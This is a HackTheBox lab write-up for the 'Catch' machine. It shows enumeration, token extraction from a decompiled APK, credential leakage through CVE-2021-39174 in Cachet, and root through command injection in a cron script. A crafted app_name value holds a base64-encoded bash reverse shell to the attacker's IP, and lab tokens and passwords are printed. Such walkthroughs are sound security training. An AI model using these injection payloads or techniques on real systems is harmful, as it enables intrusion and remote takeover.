Catch - [HTB]

Cover Image for Catch - [HTB]
Marmeus
Marmeus

Table of Contents

    Introduction

    Catch is a medium HackTheBox machine where the attacker will have to do a static analysis of an Android application in order to obtain a Let's chat API token. Then, it will have to use the API to exfiltrate messages from some chat rooms obtaining some credentials for Cachet platform. After that, it will have to exploit a Cachet vulnerability to obtain the database's credentials, access the machine and get the user flag. Finally, it will have to exploit an improper input validation on a crontab script, compiling a malicious application, to obtain a reverse shell as root.

    Enumeration

    As always, let's start finding all opened ports in the machine with Nmap.

    kali@kali:~/Documents/HTB/Catch$ sudo nmap -v -sS -p- -n -T4 -oN AllPorts.txt 10.10.11.150
    Nmap scan report for 10.10.11.150
    Host is up (0.043s latency).
    Not shown: 65530 closed tcp ports (reset)
    PORT     STATE SERVICE
    22/tcp   open  ssh
    80/tcp   open  http
    3000/tcp open  ppp
    5000/tcp open  upnp
    8000/tcp open  http-alt

    Then, we continue with a deeper scan of every opened port, getting more information about each service.

    kali@kali:~/Documents/HTB/Catch$ nmap -sC -sV -n -T4 -oN PortsDepth.txt -p 22,80,3000,5000,8000 10.10.11.150
    Nmap scan report for 10.10.11.150                                      
    Host is up (0.041s latency).
    
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
    |   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
    |_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
    80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))     
    |_http-title: Catch Global Systems
    |_http-server-header: Apache/2.4.41 (Ubuntu)                   
    3000/tcp open  ppp?                 
    | fingerprint-strings:  
    |   GenericLines, Help, RTSPRequest:
    |     HTTP/1.1 400 Bad Request
    |     Content-Type: text/plain; charset=utf-8                
    |     Connection: close                          
    |     Request                        
    |   GetRequest:
    [...]
    5000/tcp open  upnp?                
    | fingerprint-strings:
    |   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge: 
    |     HTTP/1.1 400 Bad Request
    [...]
    8000/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
    |_http-title: Catch Global Systems
    |_http-server-header: Apache/2.4.29 (Ubuntu)

    Starting with port 80 there is a web talking about two technologies Let's chat and Gitea. Furthermore, we can download the APK "catchv1.0".

    Catch Global Systems

    Proceeding with port 3000, there is a Gitea web page.

    Catch repositories

    In there, a new subdomain can be found.

    kali@kali:~/Documents/HTB/Catch$ curl http://10.10.11.150:3000/ 2>/dev/null | grep '\.htb'
            <meta property="og:url" content="http://gitea.catch.htb:3000/" />

    Then, at port 5000, there is the Let's chat web page.

    Lets chat

    Finally, at port 8000, there is a Cachet portal.

    Catchet portal

    Now, let's start analysing the APK.

    Looking for domains, the subdomain status.catch.htb can be found.

    kali@kali:~/Documents/HTB/Catch/$ wget http://catch.htb/catchv1.0.apk
    kali@kali:~/Documents/HTB/Catch/$ apktool d catchv1.0.apk
    kali@kali:~/Documents/HTB/Catch/$ cd catchv1.0
    kali@kali:~/Documents/HTB/Catch/catchv1.0$ grep -iR '\.htb'
    smali/com/example/acatch/MainActivity.smali: const-string v0, "https://status.catch.htb/"

    Then, looking for tokens, the lets_chat_token can also be found.

    kali@kali:~/Documents/HTB/Catch/catchv1.0/res/values$ grep -iRn token .
    ./public.xml:2292:    <public type="string" name="gitea_token" id="0x7f0e0028" />
    ./public.xml:2296:    <public type="string" name="lets_chat_token" id="0x7f0e002c" />
    ./public.xml:2353:    <public type="string" name="slack_token" id="0x7f0e0065" />
    ./strings.xml:43:    <string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
    ./strings.xml:47:    <string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
    ./strings.xml:104:    <string name="slack_token">xoxp-23984754863-2348975623103</string>

    Exploitation 1

    Looking at the let&#x27;s chat API, there is an Authentication section showing how to log in. To do so, let's try to obtain the current account, executing the following command and using the lets_chat_token as an authentication token.

    curl http://10.10.11.150:5000/account -s -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" | jq
    {
      "id": "61b86aead984e2451036eb16",
      "firstName": "Administrator",
      "lastName": "NA",
      "username": "admin",
      "displayName": "Admin",
      "avatar": "e2b5310ec47bba317c5f1b5889e96f04",
      "openRooms": [
        "61b86b28d984e2451036eb17",
        "61b86b3fd984e2451036eb18",
        "61b8708efe190b466d476bfb"
      ]
    }

    Some credentials can be obtained by looking at the messages for each open room.

    curl -s http://10.10.11.150:5000/rooms/61b86b28d984e2451036eb17/messages -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" | jq
    [...]
      {
        "id": "61b8702dfe190b466d476bfa",
        "text": "Here are the credentials `john :  E}V!mywu_69T4C}W`",
        "posted": "2021-12-14T10:21:33.859Z",
        "owner": "61b86f15fe190b466d476bf5",
        "room": "61b86b28d984e2451036eb17"
      },
    [...]

    The credentials john:E}V!mywu_69T4C}W can be used on the cachet login panel.

    Exploitation 2

    The catchet's version can be obtained by accessing the settings panel.

    Catchet version

    This version is vulnerable to CVE-2021-39174, which allows retrieving the database's password, as seen in this post.

    To exploit this vulnerability, go to the mail settings, select the mail driver Log (Testing), click save and intercept the request with BurpSuite. Finally, change the config[mail_address] attribute by ${DB_USERNAME}.

    After refreshing the page, you will obtain the user will. Doing the same procedure but changing the mail address attribute by ${DB_PASSWORD}, we get the password s2#4Fg0_%3!.

    These credentials can be used for gaining access to the machine through SSH, obtaining the users' flag.

    kali@kali:~/Documents/HTB/Catch$ ssh will@10.10.11.150
    will@catch.htb's password: s2#4Fg0_%3!
    [...]
    will@catch:~$ cat user.txt 
    [CENSORED]

    Privilege Escalation

    Executing pspy, you can see that the script verify.sh is being executed each minute or so.

    2022/04/27 11:43:01 CMD: UID=0    PID=157546 | /bin/sh -c /opt/mdm/verify.sh
    2022/04/27 11:43:01 CMD: UID=0    PID=157545 | /bin/sh -c rm -rf /root/mdm/certified_apps/*
    2022/04/27 11:43:01 CMD: UID=0    PID=157544 | /bin/sh -c /opt/mdm/verify.sh
    2022/04/27 11:43:01 CMD: UID=0    PID=157547 | /bin/sh -c rm -rf /root/mdm/certified_apps/*
    2022/04/27 11:43:01 CMD: UID=0    PID=157548 | /bin/bash /opt/mdm/verify.sh 

    Analysing the /opt/mdm/verify.sh , we can see that the function app_check is vulnerable to improper input validation so we can execute code.

    ####################
    # Basic App Checks #
    ####################
    
    app_check() {
            APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
            echo $APP_NAME
            if [[ $APP_NAME == *"Catch"* ]]; then
                    echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
                    mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
            else
                    echo "[!] App doesn't belong to Catch Global"
                    cleanup
                    exit
            fi
    }

    As you can see below, the function retrieves the value of the app_name variable. Then, if the string "Catch" appears on the application name, the name is piped to the mkdir command.

    For example, the string "Catch; echo Hello" will create the directory Catch and execute the echo command.

    kali@kali:/tmp$ echo -n "Catch; echo Hello"|xargs -I {} sh -c 'mkdir {}'
    Hello
    kali@kali:/tmp$ ls -l
    [...]
    drwxr-xr-x 2 kali kali 4096 Apr 27 07:55  Catch 

    Hence, using a malicious application's name can lead to escalate privileges.

    cat catchv1.0/res/values/strings.xml
    <string name="app_name">CatchV2;echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41Ny80NDQ0IDA+JjE= | base64 -d | bash</string>

    Then, it is needed to recompile the application following this tutorial.

    Note: Use the latest apktool version, or it will not work.

    kali@kali:/tmp$ java -jar apktool_2.6.1.jar b -d catchv2.0/ -o catchV2.apk
    Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
    I: Using Apktool 2.6.1
    I: Smaling smali folder into classes.dex...
    I: Building resources...
    I: Building apk file...
    I: Copying unknown files/dir...
    I: Built apk..
    
    kali@kali:/tmp$ keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
    [...]
    kali@kali:/tmp$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore catchV2.apk alias_name
    [...]

    After that, if the application was signed successfully with the following command:

    kali@kali:/tmp$ jarsigner -verify -verbose -certs catchV2.apk
    [...]
    jar verified.
    [...]
    The signer certificate will expire on 2049-09-12.

    Finally, upload your malicious APK, waiting for the script to be executed.

    will@catch:/tmp$ wget 10.10.14.57/catchV2.apk -O /opt/mdm/apk_bin/catchV2.apk
    
    kali@kali:/tmp$ nc -nlvp 4444
    [...]
    root@catch:~# cat /root/root.txt
    cat /root/root.txt
    [CENSORED]